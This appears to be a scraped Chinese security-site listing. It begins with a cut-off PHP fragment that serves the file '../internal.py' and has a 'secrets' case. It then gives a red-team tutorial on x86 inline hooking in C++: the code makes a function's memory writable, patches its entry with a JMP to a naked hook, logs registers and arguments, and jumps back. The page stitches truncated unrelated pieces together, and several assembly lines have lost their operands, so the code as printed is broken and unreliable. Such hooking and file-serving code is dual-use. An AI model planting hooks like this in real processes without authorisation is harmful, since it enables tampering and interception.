($action) { case "index": $content = curlNet("index"); echo $content; break; case "download": header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="../internal.py'); $handle = fopen("../internal.py", 'rb'); while (!feof($handle) ) { echo fread($handle, "1024"); } fclose($handle); break; case "secrets": $data =...
阅读全文
红队 | InlineHook技术实现 安全文章

红队 | InlineHook技术实现

前言IATHOOK局限性较大,当我们想HOOK一个普通函数,并不是API,或者IAT表里并没有这个API函数(有可能他自己LoadLibrary,自己加载的),那我们根本就从导入表中找不到这个函数,自然也就在IAT表中无法找到,InlineHook算是对IATHOOK一个升级版吧大体思路用JMP改变函数入口,JMP到我们自己的函数,然后又JMP回去执行刚刚的没执行完的函数。过程无论怎么变,一定要让堆栈平衡和保留原来的寄存器,这是Hook是否成功的关键.具体实现创建钩子 DWORD SetInlineHook(LPBYTE HookAddr,LPVOID HookProc,DWORD num)  //要挂钩子的地址,钩子函数(如何处理),要改多少个的硬编码 {     if (HookAddr == NULL || HookProc == NULL)     {         printf("地址填错了");         return 0;     }     if (num < 5)     {         printf("HOOK不了");         return 0;     }     //改变修改地址为可写属性     DWORD OldProtect = 0;     DWORD bret = VirtualProtect((LPBYTE)HookAddr,num, PAGE_EXECUTE_READWRITE,&OldProtect);     if (bret == 0)     {         printf("修改可写属性失败");         return 0;     }     Buffer = malloc(num * sizeof(char));     memcpy(Buffer, HookAddr, num);  //存起来把原来的值     memset(HookAddr,0x90,num);   //先全部nop     //计算跳到我们自己函数的硬编码,E9后面的值 = 要跳转的地址 - E9的地址 - 5     DWORD JmpAddr = (DWORD)HookProc - (DWORD)HookAddr - 5;     *(LPBYTE)HookAddr = 0xE9;     *(PDWORD)((LPBYTE)HookAddr + 1) = JmpAddr;     GlobleHookAddr = (DWORD)HookAddr;     RetGlobleHookAddr = (DWORD)HookAddr + num;  //等会的返回地址     dw_ifHOOK = 1; }这里别忘了改属性,然后就是有个公式,JMP后面的值并不是我们真正想要去的地址E9后面的值 = 要跳转的地址 - E9的地址 - 5,这里要算一下.卸载钩子 DWORD UnInlineHook(DWORD num) {     if (!dw_ifHOOK)     {         printf("还没hook呢");         return 0;     }     memcpy((LPVOID)GlobleHookAddr, Buffer, num);     Buffer = NULL;     dw_ifHOOK = 0;     return 1; }这里把我们在创建钩子的时候定义的全局变量Buffer的值重新写回来就行了钩子函数 extern "C" _declspec(naked) void HookProc()   //裸函数,编译器不帮我们平衡堆栈 {     //先把现场保留了     _asm     {         pushad    //保留寄存器         pushfd   //保留标志寄存器     }     _asm     {         mov reg.EAX, eax         mov reg.EBX, ebx         mov reg.ECX, ecx         mov reg.EDX, edx         mov reg.EDI, edi         mov reg.ESI, esi         mov reg.ESP, esp         mov reg.EBP, ebp     }     _asm     {         mov eax, DWORD PTR ss :          mov x, eax         mov eax, DWORD PTR ss :          mov y, eax         mov eax, DWORD PTR ss :          mov z, eax     }     printf("EAX:%x EBX:%x ECX:%x EDX:%x EDI:%x ESI:%x ESP:%x EBP:%x n", reg.EAX, reg.EBX, reg.ECX, reg.EDX, reg.EDI, reg.ESI, reg.ESP, reg.EBP);     printf("参数:%d %d %dn", x, y, z);     _asm     {         popfd         popad     }     _asm     {         push        ebp         mov         ebp, esp         sub         esp, 0C0h     }     _asm     {         jmp RetGlobleHookAddr;     } }上来先把寄存器的值保存下来,后面我们要还原现场.这里我先创建了一个结构体用于接收寄存器的值,等会方便打印typedef struct _regeist{DWORD EAX;DWORD EBX;DWORD ECX;DWORD EDX;DWORD EBP;DWORD ESP;DWORD ESI;DWORD EDI;}regeist;regeist reg = { 0 };然后第22~28行的值由于pushad和pushfd了,偏移不能是+4 +8 +c了,这里要算一下,40~45行,我们将原来没执行的代码执行一下,不然堆栈出问题了,最后跳转到原函数的下一个位置,继续执行原函数被HOOK的函数DWORD Test(int x, int y, int z){return x + y + z;}测试 DWORD TestInlineHook() {     PAddr = (BYTE*)Test + 1;     PAddr += *(DWORD*)PAddr+ 4;     SetInlineHook((LPBYTE)Test, HookProc,9);     Test(1, 2, 3);     UnInlineHook(9);     Test(1, 2, 3);     return 0; }这里有一个小的细节,我们用函数名Test传参的话,传进去的这个参数的值并不是真正的函数地址,而是一个间接地址,间接地址里面的值是JMP到真正的函数地址。也就是我们平时看反汇编时,如果我们F11一个CALL我们会发现他先到一个地址,然后再F11,才会到真正的函数地址。用函数名传参的话得到的并不是真正的函数地址,但其实也是个间接地址嘛,JMP + 真正函数地址经过运算后的地址,我们还是用“E9后面的值 = 要跳转的地址 - E9的地址 - 5”这个公式算一下。这里我找到一篇文章说明为什么有这种机制:https://blog.csdn.net/x_iya/article/details/13161937测试结果  我调用了两次函数,但只有一次输出说明卸载也成功了完整代码// InlineHook.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include <windows.h>//保留原来的硬编码LPVOID Buffer;typedef struct _regeist{DWORD EAX;DWORD EBX;DWORD ECX;DWORD EDX;DWORD EBP;DWORD ESP;DWORD ESI;DWORD EDI;}regeist;regeist reg = { 0 };DWORD x;DWORD y;DWORD z;DWORD GlobleHookAddr;DWORD RetGlobleHookAddr;DWORD dw_ifHOOK = 0;DWORD Test(int x, int y, int z);PBYTE PAddr;//typedef DWORD(*MyTest)(int x, int y, int z);//MyTest pAddr =Test;extern "C" _declspec(naked) void HookProc() //裸函数,编译器不帮我们平衡堆栈{//先把现场保留了_asm{pushad //保留寄存器pushfd //保留标志寄存器}_asm{mov reg.EAX, eaxmov reg.EBX, ebxmov...
阅读全文